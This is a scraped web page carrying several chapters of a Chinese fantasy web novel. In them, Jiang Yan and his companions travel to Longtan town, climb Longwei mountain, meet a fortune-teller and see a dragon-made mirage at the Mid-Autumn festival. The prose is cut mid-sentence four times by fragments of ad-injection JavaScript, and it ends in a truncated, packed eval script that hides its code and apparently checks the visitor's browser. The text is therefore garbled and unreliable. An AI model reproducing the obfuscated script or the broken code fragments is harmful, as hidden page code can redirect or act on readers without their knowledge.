“其实是从你身上看出来的。”沈半人坦白道:“你回到虞山不过一个多月,虞山还应该像座上宾一样的待你,可你几乎天天都留守在虞山跟外界交接的地带,我就不信诺大的虞山,只你一个年轻小辈?” “那段时间,因为我引来了旱魃,那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 旱魃都进了你们虞山的通道了,他们就不担心你会受牵连?” 提到这个,江十七心里就一股子怨念,而且那时候宴哥为了帮他们制服尸魃,本就受了伤,邢医生一再交代要好好休息,他们还是动不动遣他去看住那旱魃,就是怕他待在虞山会探到什么消息。 “他们当然不担心,而且他们还丝毫不关心你的死活。你替我封印旱魃那天,彻夜未归,虞山没一个人出来找你,就这家伙,”沈半人指指江十七,“一个人抱一堆食盒走了大半个村子才找到的你。” “他们这么过分!”靳川都听不下去了,虽然不知道个中缘由,但以他跟江宴相处的这些时日来看,江宴绝对是一个身正心善,又顾全大局的人。 所以,肯定是这些人的问题。 江宴知道沈半人还没讲完呢,重磅在后面,他亲自给沈半人倒茶,鼓励他一次性全讲出来。 沈半人喝了茶,斟酌了片刻,道:“其实,我怀疑过你。” 这一句,让靳川和江十七都僵了背,竖起耳朵,默默地听。 “我怀疑你,故意跟我们一起离开,是为了引虞山那边动手。特别是在秦岭遇到追杀的时候,你说他们的目标是你,而你的目标是他们。如果我们大胆猜测,杀你的人,其实就是虞山的人,他们不希望你回到虞山,因为总有一天你会在虞山得到你想要的东西,或是做成你想要做的事情。” “而你,”沈半人看着他,“正好也需要他们出手,这样你才知道该从哪里突破,又不伤及无辜。” “你没有怀疑错,我确实是故意离开虞山的,目的就是为了引出虞山的人。”江宴坦诚。 “但你不是故意选择跟我们一起离开,你是真心想帮我和九瑶。”沈半人微笑,“这两件事撞在了一块,所以你这两天都看不到人,是不得不躲着我们去处理另一桩事。” “沈半人,看不出来啊,你还挺聪明的。”十七这会儿对沈半人倒真有点刮目相看了。 “其实也不只是聪明,可能也是一种直觉吧。”沈半人想尽量表现的不是太得意,“不要忘了,我们都流着一样的血,我祖上也是姓江的。” “既然你已经分析的这么透彻了,那也应该明白,虞山对我都是真刀实枪赶尽杀绝,对你们更加会毫不留情。我现在要去的地方可能就是龙潭虎穴,你一向惜命,真的要去凑这个热闹吗?” 嘿,真是打蛇打七寸!知道他怕什么,就往哪儿引!沈半人在心里翻了个白眼:想让小爷打退堂鼓?小爷的鼓,只有小爷心甘情愿的时候才会被敲响! “啀,江宴,你为什么天不亮就整理好行李打算出发啦?”沈半人看着堆在院门口的行李箱,忽然问。 江宴顿了下,大概猜到他会说什么,没搭腔。 沈半人笑起来:“你这么早走,就是想不告而别,你不告而别的原因呢,是你知道我们一定会凑热闹跟你一起去的。” 这话听上去真的既无赖又可爱,江十七没忍住笑了出来。 靳川觉得自己也该表表态:“江宴,虽然是你的私事,我们不该干涉你的决定。但大家毕竟相识一场,又共同经历过生死,我和沈半人的想法,也该向你表达一下。” “当然,决定权还是在你,”沈半人补充,“如果你觉得我们这一路跟你过去,多少能帮到一点忙,那我们就一起去,这样十七也不用为难。如果你觉得带着我们不太方便,那我们就留在这里,等你回来再说。” 江宴思索了一会儿,说道:“你们一起去也不是不可以,但你们仍要想清楚,如果同我一起去,那就是彻底跟虞山江家为敌了。倘若你们知道了虞山的秘密,那么虞山从此就不会再放过你们了。” “那我们就梦一个,倘若你江宴,做了虞山的家主,那我们是不是就成了虞山改朝换代的一等功臣了?”沈半人开玩笑道。 江宴拿他没辙,知道他们三个做什么决定都是一条心,自己也不必再推脱了:“那就等你们收拾好行李,天亮一起出发吧。” 28. 27 沈半人坐上车才知道,目的地叫龙潭镇。 “还真是龙潭虎穴啊?”他右眼突然跳起来。 十七笑:“现在下车还来得及。” 沈半人努力克制眼部神经的搐动,一手揽住坐在旁边的靳川,一手搭在九瑶肩膀上:“看见没,这两个就是我的底气,下什么车,有靳川的可靠,加九瑶的身手,再加我的脑力,就是昆仑神界我们也去得!是不,江宴?” 江宴正低头在纸上画着什么,闻言只笑了笑,没有搭腔。 今天负责开车的是十七,车还是那辆皇冠路放,车胎已经换过了。江宴坐副驾,九瑶一人坐中间,沈半人自从上次坐后排遇到追杀后,便有阴影了,硬拉着靳川陪他一起坐后排。 过了一会儿,沈半人又开始纠结起目的地的事:“龙潭镇,这个名字听着还挺古早的。” 说着,拿手机百度了下,一下跳出来几十个龙潭镇,他傻眼:“这龙潭镇遍布全国各地啊,咱们要去的是哪一个啊!” 江宴把手里一直画着的一张地图的稿纸递给他,经过九瑶的时候,九瑶帮忙递了一下,同时注意到江宴的胳膊上有新包扎的绷带,他这是又取过血了? 稿纸上面大概的圈出了龙潭镇的位置,沈半人仔细看了下,发现这个龙潭镇其实距离虞山山群很近,甚至你要说它属于虞山山群的一部分,也是可以的,但它本身却又和虞山内部并不相通。 他总觉得哪里有点古怪,不合逻辑:“啀,江宴,你说你是去龙潭镇找东西的,如果真的是对虞山很重要的东西,那他们藏在虞山山群里不是更安全吗?放这龙潭镇要是出问题了,岂不鞭长莫及?” 巧了,沈半人的疑惑,恰好也是江宴的疑惑。可惜网上有关这个龙潭镇的记录少之又少,也没有具体的地形图。 “会不会这镇子里的人,其实都是虞山的人改头换面住到这里来,特地为了看守那些东西的?”靳川看着地图,想起自己看的修真小说,里面有时候就会有这样的设定。 沈半人一脸看自己家孩子出息了的表情叹了叹:“靳川啊靳川……” 靳川被他看的鸡皮疙瘩起了一身:“怎么了?” “没什么,近朱者赤吧。”沈半人笑道,又继续看画稿,他注意到江宴的画稿上,在整个山脉的下半部分,有一根蜿蜒的红线,直接从龙潭镇连接到虞山山群某一座山脉的下方。 “你这画上红线的意思,是说他们表面不相连,其实底下可能存在一个通道,把两个地方直接连通?” 江宴“嗯”了一声,其实也只是他的推测而已。如果说虞山真的选择了这个龙潭镇来存放地脉和尸魃,那这两个地方必然是相通的,至少得有一条秘密通道来运送尸魃,思来想去,这个通道的最佳位置,应是地下。 只是…… 沈半人想了想,觉得不太可能:“秦始皇把自己的陵墓挖到跟鱼国人青铜地宫齐平并打通,那是倾一国之力,历时数十年才办到的。虽然说现代科技发达了,你们江家可能也有实力打这么个隧道,但动静肯定不小吧,你那边怎么可能毫无察觉呢?” 沈半人确实提到了点子上,江宴想的是,要么这两个地方自古就有通道,要么便是在上上任家主时期就已经开挖成型。如果是后者,那开挖的时候动静不可能小,即使那件事后,太爷祖父那一派死伤惨重,也不可能一点消息都透不出的。 “等到了龙潭镇,得探一探具体情况再说。”江宴沉吟道。 “龙潭镇为什么叫龙潭镇呢?跟龙有关系吗?”十七好奇地问。 这也是沈半人感兴趣的,“别急,我来百度一下。” 一搜,发现相关故事也有几十个,从古至今,各种不同的版本,但其实内容都大差不差,沈半人选了个基本能涵盖80%内容的版本,读给他们听。 “说是很久很久以前,在一座深山中,有一汪深潭,潭水极为清澈,每逢夕阳西下,便如画镜一般倒映出天空之景,美不胜收。 “路过此地的神龙,常常被吸引驻足,或在潭中戏水休憩,或小住休养生息。” “长此以往,深潭和神龙相互成就,连带着整片山林都充满了灵秀惠泽之气。” “渐渐的,便有人来到这片山林的脚下,安家立寨,建立村镇,并取名龙潭镇。大概由于龙气滋养,此地风调雨顺,物产丰沛,即便是遭遇全国性的灾年、荒年,生活在那里的人也依然能丰衣足食,并未受影响……” 沈半人读完,十七发表看法:“这搁古代至少是陶渊明笔下的世外桃源啊,这么块风水宝地居然一直没有被开发吗?都没成为一个著名景点?” “谁说没成为景点的,”沈半人恰好翻到关于这个龙潭镇的一篇旅游攻略,“中秋宝藏景点,景美人少的龙潭镇,徒步龙尾山,系许愿经幡,赏绝美环形落日云,夜登龙神阁,拥明月入怀,观昔日龙潭旧址,更有龙形烟花,璀璨绽放……” “这是去年的游记吧。”靳川看了眼游记发布的时间,再看评论数,“好像是新晋的网红打卡地,人气还不错,那今年应该也会举办中秋盛会吧。” “现在离中秋还有多久?”九瑶问,显然她对这篇旅游攻略挺感兴趣的。 “明天就是了。”江宴回道。 “那我们今天夜里到龙潭镇,明天下午也可以去龙神阁,顺便看看环形落日云和龙形烟花?” “九瑶小姐,要不了夜里,”十七握着方向盘,自信满满,“我的速度,赶到龙潭镇吃晚饭刚刚好!” 十七果然说到做到,7点刚过一刻,车子抵达龙潭镇高速出口,下了高速,车子拐进一条新修的县道,约莫又开了20公里,抵达镇中心。 跟他们想象中不太一样,他们以为会是个很古老的村舍类型的镇子,没想到这个镇子看上去很新,街道宽敞,两边楼房林立,样式也都是整齐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 划一的现代化写字楼和小洋房。 但是楼大部分都是空的,应该是才建成不久,两边的商铺很多都还没交付,街道上也没什么人,一派冷冷清清的样子。 “宴哥,怎么好像都没人啊?难道明天没有中秋节活动吗?”十七左右看看,奇怪地问。 江宴想了想,说道:“大家如果不是特别饿,不然先去酒店洗澡换衣服,晚点再出来吃晚饭吧。” 众人一致同意。整个镇子只有两家正规的连锁酒店,星级不算高,但价格很贵,十七早上临时打电话预定,前台的人说房源充沛,看来这地方还真没什么人来。 几个人各回各的房间,洗过澡换过衣服,约在酒店大厅见面,车子重新开上街,这时候景象已经跟来的时候完全不一样了,街道两旁停满了不同地区牌号的车子,商铺也都开门了,大多是经营烧烤、大排档的,架了许多桌子在门口,已经基本坐满了。 几个人选了家特色是退骨牦牛肉的大排档,点了四斤牦牛肉,几个小炒,还有一份牛骨汤吃起来。 隔壁一张大桌子,大概十来个人,应该是朋友几家一起约出来玩的,围在一起聊的火热。 “我就说提前一天来吧,你看那几个网红民俗,一个多月前就订满了,咱们住的这个,要是现在订,价格起码翻三倍。” “那也比住酒店划算啊!” “我今天来还蛮惊讶的,几年前完全不是这个样子的,几年前这就是一片荒地,没想到突然就火了!” “你看这地方还有发展潜力吗?” “光靠旅游应该是不行的,就一个龙潭的噱头,再说那都多少年前的事了,有没有还存疑呢,现在已经是一点都看不到了!” “不是有个龙神阁,名气挺大的么,我看社交论坛上都是打卡的帖子。” “那都是后来人建的,就因为有人在那山上偶然看见了环形日落云,拍了照片发到网站里,一下子火了,所以建了个龙神阁,寓意登高飞天,祥龙入云。但是那个环形日落云每年只有中秋这日有,而且还不能是阴天雨天,一年就靠这一天的人流量,能撑得起一个镇子的生计啊!” “不过,有一说一,那环形日落云是真的壮观啊!你们明天下午几点去爬龙尾山啊!” “明天一大早我就去!早点去,看日落、登龙阁,都能抢个前排好位置,你看着吧,明天人更多!” …… “看来,这龙潭镇是近几年才兴盛起来的,之前一直是荒废状态,那倒挺适合藏东西的。”沈半人看着江宴说道。 “刚才那人说龙潭已经没有了,没有龙潭的龙潭镇荒废在情理之中,只是那环形日落云是自古就有的,还是近几年才形成的呢?”十七有点好奇。 “到底是怎么回事,明天去看看就知道了。”江宴笑道,“我们明天吃完午饭就出发,去爬一爬这龙尾山,看看这环形落日云究竟是怎样的。” 29. 28 龙尾山,从山形来看属于比较少见的悬山山形,下窄上宽,加上自然风蚀和人为开凿,看上去像一条从水中拔地而起的巨龙。龙首的部位仿龙的头部样式建了一座龙神阁,金顶蓝匾,气势恢弘,仔细看能看出象征龙的犄角、眼睛和牙齿等建筑结构。 龙身上爪部齐平位置,有一个突出来的平台,是专门用来观看环形日落云的,外围砌着汉白玉栏杆,已经被许愿牌上的红色绸带系满了。 从龙尾到龙首,总共有三千级台阶,前面两千四百级是成一字型直上的,到达日落云观景平台,最后六百级台阶分左右两道分别抵达龙神阁,如同龙首上伸出的两条触须。 台阶很长,几乎成半圆形围绕山体,因此爬山的游客虽然多,但分散开来,并不十分拥挤。 几个人午饭后就开始信步登山,闲聊龙尾山的景色。 “这地方倒也算个不错的度假胜地。”沈半人客观评价,以一个镇的规模来说,这里堪称地域开阔,且背靠高山,面向平原,景色优美,空气清新,“很适合养老。” 江宴闻言调侃道:“你这还没奔三呢,都想起来养老的事了?” 沈半人笑笑,摆出一副千帆历尽的沧桑语调:“人嘛,就这一辈子,小的时候总想着要惊涛骇浪、波澜壮阔的度过这一生,才不负此间年少,等到被生活日夜敲打搓磨过,方悟平平淡淡才是真。” “躺平摆烂都能想出个这么清新脱俗的说辞,难为你了!”十七吐槽他。 “没大没小!”沈半人佯装发怒,“我没算错的话,我可比你宴哥还年长一岁,你该叫我一声哥哥的!” “什么哥呢?”十七眼中闪过一丝促狭,“沈哥?半哥?还是人哥?” “是确哥。”江宴笑着提醒。 “啥?你真名叫沈que?哪个que?”靳川奇道。 “麻雀的雀,还是喜鹊的鹊?”九瑶也跟着起哄。 “是正确的确,确定的确,确实的确。”沈半人努力纠正。 “小确确,很可爱的名字啊,为什么你总要我们叫你那个老气横秋的外号呢,沈半人,弄的你跟个算命的神棍一样!”十七表示不理解。 “我是想等到自己什么时候可以完全掌握了控制神血气息的术法,不需要再依赖任何人生存了,再叫回自己本名的。”沈半人解释道。 江宴笑笑:“这个不难,你再勤快些,要不了多久了。” 九瑶看台阶两侧的栏杆上都绑满了挂着红绸的许愿牌,周围路人手上也都拿着这样的牌子,有点心向往之:“我看他们都买了那个许愿牌,咱们要不要也买几个?” “当然要,”十七立马捧场,“来都来这个龙神阁了,不管灵不灵,愿望总归要许一个的,万一实现了呢!那宴哥,麻烦你跟九瑶小姐帮忙大家一起买下吧。” 看着他两肩并肩一起走远的背影,十七内心满意无比,如同欣赏自己的杰作一般。等到回过神来发现沈半人和靳川两个人都一副了然于心的表情望着自己,他嘚瑟地朝沈半人扬了扬眉:“别忘了我们的赌约!” 买许愿牌的地方已经聚集了很多人,几个摊贩都被里三层外三层的围着,还不时有人插队进去问价挑牌,有些人没带笔买了牌子现场借笔就写起来了。 九瑶一直留心着那些挤来挤去的路人,尽量不让他们碰撞到江宴裹着绷带的胳膊。起初江宴还没注意到,后来她几乎半个身体护在他那条胳膊前,他才后知后觉对方的这份关心,心里面既惊讶又感动,也默默用另一只胳膊帮她隔开拥挤的人群。 两个人排了一会儿队,旁边就有二道贩子开始叫卖了,价格贵一点,但不用继续排队和一直被插队了。想想还是时间更宝贵,两个人便转去二道贩子那里。 许愿牌的款式有两种,一种是红色绸带带木牌的,这种是专门系外面栏杆上的,卖牌子的二道贩子说一路上的栏杆都能绑,绑在越高处,龙神越能看清你的愿望,不过这最后一级台阶上的栏杆最好不要绑。 “为什么呀?”九瑶不解。 “那最后一级台阶,就是最高处了,那过了最高处,是不是得走下坡路了呢?而且那最高一级台阶所在的位置正好跟龙神的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛齐平,愿望放在那里,龙神就看不到啦!” 九瑶竟然觉得挺有道理的。 “还有一种许愿牌是什么样式的呢?”江宴问。 “是彩色丝带配石牌,那是挂在龙神阁里面还愿用的。两位如果是第一次来龙尾山,就买红绸的,等到许的愿望实现了,来年过来还愿,再买彩带的。” 另一边,沈半人他们继续拾级而上。 别说逛景点就应该像这样,人太多太挤,根本看不到景色,也会无心看景色。人太少吧,又没有那个氛围,再好看的景色,若无人分享也要打些折扣。 所以现代人出去旅游总爱各种自拍,名曰“打卡”,一方面是为了记录每一个限量版的自己,另一方面也是旺盛的分享欲在作怪。 不像沈半人,他纯粹是因为觉得自己太帅,怎么拍都好看,甚至那些风景也因为他,与有荣焉了呢。 “麻烦您快一点。”一对小情侣在等他自拍的这个景点,已经等了快十分钟了。 沈半人拍完第九十九张照片,方才缓缓起身,他本来想喊靳川和十七一起拍个合照的,无奈这两个人一直催,催的他心情烦躁,恨不能当场撸他们一顿。 他不知道在他自拍的时候,除了那对小情侣,还有一个人一直在观察他,见他起身结束了拍照,那人走上前拦住他:“这位朋友,方便认识一下吗?” “不方便。”沈半人一向只对搭讪的女生感兴趣,男生他可没那方面的爱好。 那人愣了一下,没想到他回的这么干脆,不过到底是个厚脸皮的,仍然笑道:“我没别的意思,就是刚才看您,觉得您命格很不一般啊!” 哦,算命的。那更没兴趣了。 “不好意思,本人年方二十五,身家过亿,亲友死绝,已经没有发财的余地了!”沈半人目不斜视,一脸“我不相信,我不想聊,拜拜了,您嘞”的表情直接越过他。 “跟财无关。”那人道。 那别的就更无关了!沈半人一点也不想跟他废话。 “你的身体里,曾经住着两个灵魂。” 30. 29 “你们在做什么?” 九瑶手里挂着五个许愿牌,看他们全傻站在那里,蹙眉问道。 辛沅转头看到九瑶,一下子眼睛都看直了。 这是真美女,美的能让人忘记呼吸的那种。 “九瑶,正好你来了,”靳川道,又看向辛沅,“麻烦你给她也看看呢?” “奇了怪了……”辛沅若有所思,又认真打量一遍,深怕自己看错了,“这位小姐的命格……也看不到啊,而且不像是被人锁了,倒像是根本没有啊!” “没有命格……意味着什么?”九瑶问。 “从古至今,相面之术只能观人和鬼两种形格,妖格千变万化,神格无法窥视,这位小姐既无命格,又无鬼格,那便非妖即……” “想多了你!怎么可能没有命格,一定是你技艺不精,看不出来而已!”沈半人打断他。 “也是……”辛沅擦了擦额间的汗,本来以为遇见了一个命格奇好的人,没想到是一群命格奇怪的人。 “那我就不打扰你们了,我们观景台上再见。”辛沅挥手告辞。 待他走远了,九瑶才问沈半人:“为什么刚才不让他说下去?” “江宴跟我说过,不管你是不是神族,都不能轻易向他人透露你的身份跟神族有关。”沈半人道,“这个人来路不明,我们还是小心为妙。” 九瑶点点头,把许愿牌一个个发到他们手上,留下江宴和自己的。 提到江宴,十七奇怪:“我宴哥呢?” 九瑶:“他去接电话了。” 十七却像是听到什么可怕的消息一样:“谁给他打电话?……他他他接电话的时候是什么表情?表情严肃吗?” “没有啊,他看着就和平时一样啊。”九瑶被他问的一头雾水。 沈半人一手搭上十七肩膀,哄小孩似的拍了拍:“不就接个电话,你激动什么呀?” “你不知道,要是太爷打给他的,那肯定是我们又做了什么违背他心意的事,还不知道他老人家会怎么处罚我们呢!” “不过应该不是……”十七开始语无伦次,“对,肯定不是……是大伯母,对了今天中秋节,宴哥答应陪他们一起过的!” “我还真的挺好奇你说的这个太爷究竟是个什么人物?”沈半人问。 “他是全世界最冷血的人,冥河的水都没有他的血冷,他就是个没有感情的怪物!”十七控诉。 “那你和江宴为什么还要给他卖命?”沈半人好奇。 “因为我和宴哥……”十七欲言又止。 因为,我们也是怪物吧。 而他,是唯一可以救江家的人。 江宴挂了电话,心里面还有点怅然失落,今年的中秋节又不能陪父母过了,而且听他们的意思,江忍似乎今天也不在虞山,那么他会来龙潭镇吗? ***** 一行五人,走走停停,在下午六点过一刻的时候,抵达了日落云平台。 平台上已经聚集了相当规模的游客,栏杆前排的位置全被占满,几个人只好站的远一些,好在个子都挺高的,极目远眺,仍能感受到龙潭镇的景色宜人。 放眼望去,群山环抱,翠色欲流,在紫金色的夕照下,仿若仙境。 就是总感觉缺了些什么。 “有山无水休葬地,有水无山难遇龙。”沈半人突然感慨,“山是龙之骨架,水乃龙之血脉,这里连条湖都没有,又怎么可能有龙呢?” 江宴想起来,方才觉得缺的东西,正是湖泽。 “不懂别乱说!你要是不信这里有龙神,你还来这里登龙阁干嘛!”一个大爷突然瞪着沈半人,语气不善地说道。 沈半人本来就被人群挤攘的烦躁,一听对方语气这么不好,心里没由来生出一通恶气:“我说我的,你叫个什么东西!不爱听滚远点啊!” 大爷一听火气也上来了,捋起袖子就要上手。 被旁边的大妈拦了下来,大妈对沈半人说:“你一个年轻人,怎么讲话这么不文明,能不能有点素质啊!” “你有素质?你有素质就不会随便插嘴别人说话了!”沈半人不依不饶。 大爷又要冲上来干架,沈半人毫不客气,旁边江宴、靳川他们赶忙拉架。谁知沈半人心头怒火正盛,根本听不得劝,一把甩开江宴的手,气势凌人地冲到老头面前好像要把人推下平台似的。 “沈确!!” 九瑶的这声呼喊起了作用,沈半人像是突然回过神一样,转身看见江宴扶着胳膊,意识到自己刚才下手重了。 “我……”他有点词穷,他不知道自己今天为何如此暴躁。 “我们去人少的地方。”江宴没说别的。 十七留下安抚刚才的大爷大妈,沈半人随江宴他们离开平台,去了人相对少一些的位置。 “什么时候开始的?”江宴问。 “好像是从登上龙尾山开始。”沈半人细思极恐,刚刚,他是真的想把那两个人推下山去! “闭上眼睛,凝神聚意。”江宴说着,伸手轻按他眉宇,过了一会儿,隐隐有一团紫黑色的,像是水母一样的发光物出现在沈半人的眉心之上。 这发光物仿佛有生命,感应到被人控制,不断地向外散发着黑气,透出凶戾之意。 过了一会儿,发光物暗淡,化作一缕紫色光雾重入沈半人的眉心。 沈半人睁开眼,感觉心情平和多了,看别人也不觉得都面目可憎了。 “如果再觉得心情烦躁,就静心念诀,你的身体养过鬼身,本就容易招惹邪物,虽有神血压制,但邪物力量过盛,还是会有被入侵的风险。”江宴提醒。 “这好歹是龙神阁,神的领地,怎么会有邪物?”靳川皱眉问。 “这地方透着古怪。”江宴思索后说道,眼睛看向暮色中半明半暗的龙神阁。 在夕阳照不到的地方,似乎盘踞着一团幽蓝的龙形雾气,正在缓慢蠕动,鳞甲摩擦,发出刀剑相碰般冰冷的声音。 “快看!落日云出来了!” 平台上一阵骚动,江宴、沈半人他们赶回去,只见方才还一片澄澈的天空,此刻断层一般,在深蓝的夜幕之上,是如鲜血般流动的晚霞,晚霞中包裹着织金般的流云,这流云的形状非常奇怪,如同龙吸水一环绕着一环,螺旋而上,直入天境。 天境之下,一轮硕大的夕阳,散发着橙红的余晖,火光般燃烧着整片天空。 九瑶看着眼前的奇景,喃喃道:“这是……神界入口啊……” 十七闻言吓了一跳:“真的吗?” 九瑶点头:“我记得我曾经在大荒见过这个景象。” 传说神界就在那昆仑之丘的最高处,以九重宫阙与帝之下都相连。 而整个帝之下都周围,被终年不灭的神火包围,神火之下,是长生之国的水源—赤河。赤河之水,饮之不死,所以世间所有的不死药皆来源 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 于赤河之水。 在赤河的下游,是世间最凶险莫测的弱水。弱水同冥河一般,万物不浮,不仅如此,倘若落入其中,即便是神明,也会变成凶狠嗜血的妖物。 “这和我见过的神界入口是一样的,它悬在大荒之上,只有特定时间才会出现。凡人即使看到,也永远无法到达。”九瑶肯定道。 那为什么能在此处看见呢?江宴若有所思,突然胸前的魑鬼牌动了一下,蛊王从魑鬼牌里躁动不安地爬了出来。 “这是蜃景,”突然有人说道,沈半人等循声望去,发现是下午遇到的那个辛沅。 辛沅走到江宴旁边,看了眼他胸口垂挂的玉牌,继续道:“相传东海有一种大虫,名蜃,成年后形似蛟龙,所以又叫蜃龙。传闻它极擅长洞悉人心,能将人心之所想织成幻象,从而诱惑捕杀猎物。如果捕杀蜃的幼虫将其做成灯芯,点燃之后就会形成特殊的‘海市蜃楼’。” “还有一种做法,是将蜃的幼虫,种入人脑,让它与人同吃同睡,若干年后,等到蜃洞悉了人脑中的一切神经运动,蜃就会吞噬人脑,变成‘能通人意,解人语’的苗疆圣蛊,小神蛊。” “但此法极为阴毒,所选饲主又须是才思敏捷,七窍玲珑之人,小兄弟看上去仪表堂堂,不该做这种有损阴德的事。” “既然是这么逼真宏大的蜃景,说明周围肯定有蜃龙存在。”江宴淡然道,并没有在意对方最后说的那段话。 “蜃龙为何要来这龙潭镇?还要织这么一幅蜃景?”靳川听的云里雾里。 “龙之死气,可引蜃龙。”江宴解释,“一条龙死后,会将龙气全部吐纳出去,而蜃龙会被龙气吸引,寻到龙身,便会食肉剔骨,留下龙脉。” “蜃龙既食龙肉,感念龙神饲养之恩,便会织就龙神心中最为挂念之景象,以此纪念龙神。蜃虽为大虫,亦有操守,不像我们人类,可以为一己私利,残害同类,将他人的生命视为草芥。”辛沅意有所指,虽然没有点名道姓,但谁都看得出来他在说谁。 十七再也忍不住了:“你这个人,说话怎么夹枪带棒的?养小神蛊的人,就一定是十恶不赦吗?” “难道不是吗?”辛沅反问,“在你的脑子里放一条大虫,让你日夜饱受痛苦煎熬,最后还要被这大虫活活啃噬而亡,即便有再大苦衷,你还会共情养蛊之人吗?” 不等十七反驳,辛沅又继续道:“何况你的这位朋友为什么要养小神蛊?养小神蛊的目的又是什么?获取他人心中的秘密?严刑逼供?不管是哪种,都算不得什么人道的事情吧?” “先生博闻广学,小神蛊的事,确实有些缘由,但不便详说。”江宴点到为止,并不争辩。 “你们刚才说,龙死了,就会引来蜃龙,那这龙什么时候死的呢?蜃龙是每年都会在同一日来结蜃景吗?”沈半人疑惑道。 “龙脉成型之前都会来,龙死百年成川,千年成脉,这龙潭镇关于龙神的传说,已有千年,但目前还没有龙脉形成。”辛沅回道,“可能是因为潭水枯竭,龙神无法再化脉。” “没法化脉,会怎么样?”九瑶问。 “那就要帮龙神移穴。”江宴道,“蜃龙结的蜃景,便是龙神的呼唤。” 江宴看向辛沅:“先生就是来帮龙神移穴的吧。” 辛沅笑笑,有点无奈:“有心无力,只能尽力而为。” 暮色四合,龙神阁上灯光亮起,黑暗中,仿佛是龙神灼灼的目光。 31. 30 环形落日云景观只维持了一刻钟左右,夕阳很快沉入山谷,夜幕降临,华灯初上,龙尾山被灯光点染的更加金碧辉煌。 可能是因为海拔较高,晚风吹在身上带着瑟瑟的寒意。烟火盛会在晚九点正式开幕,许多游客已经离开平台,向龙神阁的方向继续前行。 爬到最后一百级台阶,已经人满为患,有些人就地拿笔写起许愿牌来,九瑶和沈半人商量了下,还是决定继续往上爬,毕竟许愿牌挂的越高越灵验,而且最好是在烟火盛会开始前登一登龙神阁,祈愿纳福。 事实证明,这个决定非常正确,相比外面的人山人海,龙神阁里面的游客反而少一些,很多都是一大早就登上来抢好位置看烟火的。 龙神阁里有专门提供写许愿牌的笔,是一种细头的自带墨馕的小楷毛笔,写在木牌上非常有古意。 江宴刚在许愿牌上写好自己名字,就有一个婆婆过来找他代写,说自己用不好软笔,他也没推辞,问了对方想写什么,接过来一笔一划端端正正的写起来,字体是潇洒灵动的行楷。 婆婆一边看一边不住地赞叹:“小伙子,字写的真好看。” 有一就有二,陆陆续续有人过来找江宴代写,排队的人几乎把他整个人围在里面了,不知道情况的,还以为是哪个庙祝坐在那里。 九瑶也写完了自己的许愿牌,她的愿望非常简单,希望可以早日恢复全部的记忆,不管那记忆好与不好,始终是她生命的一部分,她应该在知道全部的过往后,再去好好决定今后的生活。 沈半人在一旁看了,打气道:“肯定没问题的!我们都会一直陪你找寻你的记忆。” 靳川的愿望就更简单了,他其实一直没有求神拜佛的习惯,这次也是应应景,不过仍然是非常虔诚的。愿龙神保佑他们这趟行程能平安顺利,一切圆满。 十七不知道许了什么愿望,神神秘秘的不给人看。 沈半人想了下,问道:“十七,你宴哥在哪儿学的软笔书法啊,写的还挺有风骨的?” “你想多了,他哪有时间专门去学书法啊!”十七回道,“那都是我跟他做不好功课时,被太爷罚大雪天在院子里练毛笔字练出来的!” “你是不知道,北方的大雪天啊,冷的连鼻涕都能冻成冰条子!太爷每次一罚就是上千个字,我和宴哥手都冻僵了,硬是写字写到了手心冒汗!” 沈半人逗他:“那你俩一块儿练的,怎么你就写不好呢?” “谁说我写不好了!”十七抗议,“我的字最多比宴哥差了那么一点点风骨吧,要说字形,那肯定是跟他的一样漂亮!” 说着,把自己刚写好的几个字举给沈半人看。 沈半人却趁机读了出来:“一愿爸妈身体康健,二愿宴哥心想事成,三愿江家……” 十七反应过来,赶忙收回许愿牌:“你……偷看我愿望!” 沈半人笑:“愿望写出来不就是给人看的!” 十七不满:“你又不是龙神,你看了有什么用呢!” “我可以帮你在龙神耳边多念叨几句,让他记住你的愿望,尽快帮你实现啊!” “那还差不多。”十七觉得也不是不可以。 沈半人参考了一圈,突然觉得自己愿望还挺多的,一块牌子根本写不下。 一番纠结取舍,最终选择了一个对自己而言最重要的,在牌子上一笔一画郑重写下。 挂牌子的时候,又发现自己挂的这片栏杆竟空空如也,除了他根本没有人挂。而下面一层,挤满了人,就连江宴、九瑶他们也挤在人群里找位置。 “沈半人,那层不能挂!”九瑶挂好牌子,看见沈半人正往最高层栏杆上系绸带,出声提醒。 “为什么啊?”沈半人不解。 “卖牌子的人说,最高一层的愿望,龙神看不见的。”九瑶同他解释。 沈半人手上动作不停,嗤之以鼻道:“听他瞎说,这位置多好,下面的那些栏杆,牌子叠牌子,都堆满了,那才是看不见!” 一线火蛇流星般窜入天际,发出“嘭”的一声巨响,在圆月下绽放成一株硕大的花枝,托起整个月亮,光华四射,璀璨夺目。 余烬又如垂柳般万条抛下,散落无数的星子。 “这是九天揽月。”江宴向九瑶解说。 更多的火蛇窜入天际,仿佛一颗颗爆开的种子,有的开成了花草树木,有的开成了楼台宫阙,还有的开出了漫天诗词…… 人间的烟火,原来是这般奇景。 九瑶的脑海里突然闪过一些久远的、模糊却又异常深刻的画面,那是千万年前,曾有人与她并肩而立,凝望已成一片废墟的大荒,他说: “终有一日,人类会回到大荒,那时迷穀花将重新绽放,它的光华,将照亮整片天空。” 今日的大荒,已非昔日的大荒。但大荒的迷穀花,仍然灿烂。 “他们两个确实挺相配的。”靳川望着人群中,并肩而立的江宴和九瑶,由衷叹道。 “还好吧,外形相配而已,不代表合适。”沈半人一盆冷水兜头往下浇。 靳川皱眉:“你怎么回事,是不是又被邪物入侵了?上次跟十七打赌也是的,你该不会是也喜欢九瑶吧?” 沈半人无语,还用问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 